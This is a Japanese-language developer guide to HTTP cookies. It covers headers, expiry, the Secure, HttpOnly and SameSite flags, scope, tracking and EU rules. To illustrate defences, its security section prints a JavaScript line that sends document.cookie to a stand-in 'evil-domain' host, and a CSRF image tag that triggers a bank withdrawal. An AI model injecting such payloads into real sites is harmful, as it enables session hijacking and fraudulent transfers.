HTTP クッキー (ウェブクッキー、ブラウザークッキー) は、サーバーがユーザーのウェブブラウザーに送信する小さなデータであり、ブラウザーに保存されて次のリクエストと共に同じサーバーへ返送されます。一般的には、二つのリクエストが同じブラウザーから送信されたものであるかを知るために使用されます。例えば、ユーザーのログイン状態を維持することができます。クッキーは、ステートレスな HTTP プロトコルのためにステートフルな情報を記憶します。
クッキーは主に、以下の3つの用途で使用されます。
- セッション管理
- ログイン、ショッピングカート、ゲームのスコア、又はその他のサーバーが覚えておくべきもの
- パーソナライゼーション
- ユーザー設定、テーマ、その他の設定
- トラッキング
- ユーザーの行動の記録及び分析
クッキーは、クライアント側の汎用的な記憶領域として使用されたことがあります。これは他にクライアントへデータを保存する手段がなかった頃は合理的でしたが、現在では新しいストレージ API を採用することが推奨されます。クッキーはすべてのリクエストで送信されるので、 (特にモバイルデータ通信で) 効率を悪くする可能性があります。クライアントストレージ向けの新しい API として、 Web storage API (localStorage 及び sessionStorage) と IndexedDB があります。
保存されたクッキー (およびウェブページが使用できる他のストレージ) を確認するには、開発ツールのストレージインスペクターを有効化して、ストレージのツリーでクッキーを選択してください。
クッキーの作成
HTTP リクエストを受け取った時、サーバーはレスポンスで Set-Cookie ヘッダーを送信することができます。ふつう、クッキーはブラウザーに保存され、またクッキーは同じサーバーに対して行われるリクエストと共に、 HTTP の Cookie ヘッダーの中で送信されます。起源や期間を設定することができ、その後はクッキーが送信されなくなります。加えて、特定のドメインやパスへの制約が設定でき、クッキーをどこに送信するかを制限できます。
Set-Cookie ヘッダーと Cookie ヘッダー
HTTP の Set-Cookie レスポンスヘッダーは、サーバーがユーザーエージェントへクッキーを送信するために使用します。単純なクッキーは次のように設定されます。
Set-Cookie: <cookie-name>=<cookie-value>
このヘッダーは、サーバーからクライアントへクッキーを保存するよう指示します。
Set-Cookie ヘッダーの使い方は次の通りです。
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry [ページのコンテンツ]
GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: yummy_cookie=choco; tasty_cookie=strawberry
セッションクッキー
上記で作成したクッキーはセッションクッキーです。 Expires 又は Max-Age が指定されていないので、クライアントが終了したときにクッキーが削除されます。但し、ウェブブラウザーがセッション復元を使用すると、セッションクッキーの多くが、ブラウザーが閉じないかのように持続的になることがあります。
持続的クッキー
持続的クッキーは、クライアントを閉じるときに無効になるのではなく、指定した日時 (Expires) 又は指定した期間 (Max-Age) が経過した後に無効になります。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
メモ: 期限日を設定すした時、設定された日時はサーバーではなく、クッキーが設定されるクライアントの日時に関連します。
Secure 及び HttpOnly クッキー
セキュアクッキーは、 HTTPS プロトコルを通じた暗号化されたリクエストでのみサーバーに送信されます。 Secure とは言っても、本質的に安全ではなく、このフラグが本当の保護を提供できる訳ではないので、機密情報をクッキーに保存してはいけません。 Chrome 52 及び Firefox 52 より、安全ではないサイト (http:) では Secure ディレクティブが付いたクッキーを設定できなくなっています。
クロスサイトスクリプティング (XSS) 攻撃を防ぐため、 HttpOnly のクッキーは、 JavaScript の Document.cookie API からアクセスすることができません。これらはサーバーにのみ送られます。例えば、サーバー側セッションを維持するためのクッキーは JavaScript で利用する必要がないので、 HttpOnly フラグを設定するべきです。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
クッキーのスコープ
Domain 及び Path ディレクティブは、クッキーのスコープ、つまりクッキーを送信する対象の URL を定義します。
Domain は、クッキーを受信することができるホストを指定します。指定されていない場合は、既定で現在の文書がある場所のホストになり、サブドメインは除外されます。 Domain が指定された場合、サブドメインは常に含まれます。
例えば、 Domain=mozilla.org を設定すると、 developer.mozilla.org のようなサブドメインも含まれます。
Path は、 Cookie ヘッダーを送信するためにリクエストされた URL の中に含む必要がある URL のパスを示します。 %x2F ("/") の文字はディレクトリ区切り文字として解釈され、サブディレクトリにも同様に一致します。
例えば、 Path=/docs を設定すると、以下のパスに一致します。
/docs/docs/Web//docs/Web/HTTP
SameSite クッキー
SameSite Cookie は、クロスサイトリクエストと共に Cookie を送信してはならないことをサーバーが示せるようにします。これは、クロスサイトリクエストフォージェリー攻撃 (CSRF) の対策のひとつです。SameSite Cookie はまだ実験的であり、サポートしていないブラウザーがあります。
Document.cookies を使用して JavaScript でアクセスする
Document.cookie プロパティを使用して新しい Cookie を作成することもできます。また HttpOnly フラグが設定されていなければ、既存の Cookie に JavaScript からアクセスすることもできます。
document.cookie = "yummy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); // "yummy_cookie=choco; tasty_cookie=strawberry" をログに記録
後述するセキュリティの節に記載したとおり、セキュリティの影響に注意してください。JavaScript で使用できる Cookie は、XSS によって盗まれる可能性があります。
セキュリティ
HTTP クッキーは仕組み全体が本質的に安全ではないため、機密情報や重要な情報を保存したり転送したりしてはいけません。
セッションハイジャックと XSS
クッキーは、ユーザーや認証セッションの識別を行うために、ウェブアプリケーションでよく使われており、クッキーが盗まれるとユーザーの認証済みセッションの乗っ取りにつながります。クッキーを盗む手口としては、ソーシャルエンジニアリングやアプリケーションの XSS 脆弱性の悪用がよくあります。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
クッキーの HttpOnly 属性を使用すると、 JavaScript でクッキーの値にアクセスできなくため、これらの攻撃を緩和するのに役立ちます。
クロスサイトリクエストフォージェリ (CSRF)
Wikipedia で CSRF の的確な例を挙げています。この場面では、誰かが (例えばフィルタリングされていないチャットやフォーラムに) 画像として、本当は画像ではなく銀行のサーバーに対する資金の引き出し要求であるものを含めています。
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
ここで、もし銀行のアカウントにログイン中であり、クッキーがまだ有効である (また、他の検証が行われていない) 場合は、この画像を含む HTML を読み込むと、すぐに送金されてしまうでしょう。このようなことを防ぐために使われる方法がいくつかあります。
- XSS と同様に、入力内容のフィルタリングが重要です。
- 注意が必要なアクションに対して、常に確認を必要とするべきです。
- 注意が必要なアクションで使用するクッキーは、有効期間を短くするべきです。
- ほかの防御策については、 OWASP CSRF prevention cheat sheet をご覧ください。
トラッキングとプライバシー
サードパーティのクッキー
クッキーには、関連付けられたドメインが存在します。このドメインとページが存在するドメインが同じであるクッキーは、ファーストパーティクッキーと呼びます。ドメインが異なる場合は、サードパーティクッキーと呼びます。ファーストパーティクッキーは、クッキーを設定したサーバーにしか送信されませんが、ウェブページには他のドメインのサーバーに保存されている画像などの部品 (広告バナーなど) が含まれている場合があります。これらサードパーティの部品によって送信されるクッキーは、サードパーティクッキーと呼ばれ、主にウェブのいたるところで広告やトラッキングを行うために使われています。例として Google が使用しているクッキーの種類をご覧ください。ほとんどのブラウザーは既定でサードパーティクッキーを許可していますが、それらを遮断できるアドオン (例えば EFF による Privacy Badger) があります。
サードパーティクッキーを明らかにしなければ、消費者はクッキーの使用が分かったときに害があるものだと考えるでしょう。 (プライバシーポリシーなどで) 明確に開示することで、クッキーを見つけたときの悪影響を防止できるでしょう。また、クッキーに関する法令が存在する国もあります。例えば、ウィキメディア財団の Cookie に関する声明をご覧ください。
Do-Not-Track
使用に関して法的あるいは技術的な要求はありませんが、ウェブアプリケーションに、アプリケーションのトラッキングやユーザー個人をサイト間でトラッキングすることを無効化すべきであると知らせるために DNT ヘッダーを使用することができます。詳しくは DNT ヘッダーをご覧ください。
EU クッキー指令
EU におけるクッキーの要件が、欧州議会の Directive 2009/136/EC で定義され、2011年5月25日に発効しました。指令そのものは法令ではありませんが、 EU 加盟国への要求では、指令の要件に合致する適切な法令を施行するよう述べています。実際の法令は、国によって異なります。
簡単に言うと EU 指令では、誰かがコンピューターや携帯電話などの機器に情報を保存したりデバイスから情報を取り出したりする前に、ユーザーは説明に基づいて同意を与えなければなりません。これ以降多くのウェブサイトが、クッキーを使用していることをユーザーに通知するバナーを追加しました。
詳しくは Wikipedia のこちらの章 をご覧いただき、最新かつ正確な情報を得るために各国の法令を確認してください。
ゾンビクッキーとエバ―クッキー
ゾンビクッキーやエバ―クッキーは、削除後に再作成をしたり、意図的に永久に削除することを困難にしたりする、より過激なクッキーへの取り組みです。これは、 Web storage API や Flash の Local Shared Objects 等の技術を使用して、クッキーが存在しないことを検出したときに再作成するものです。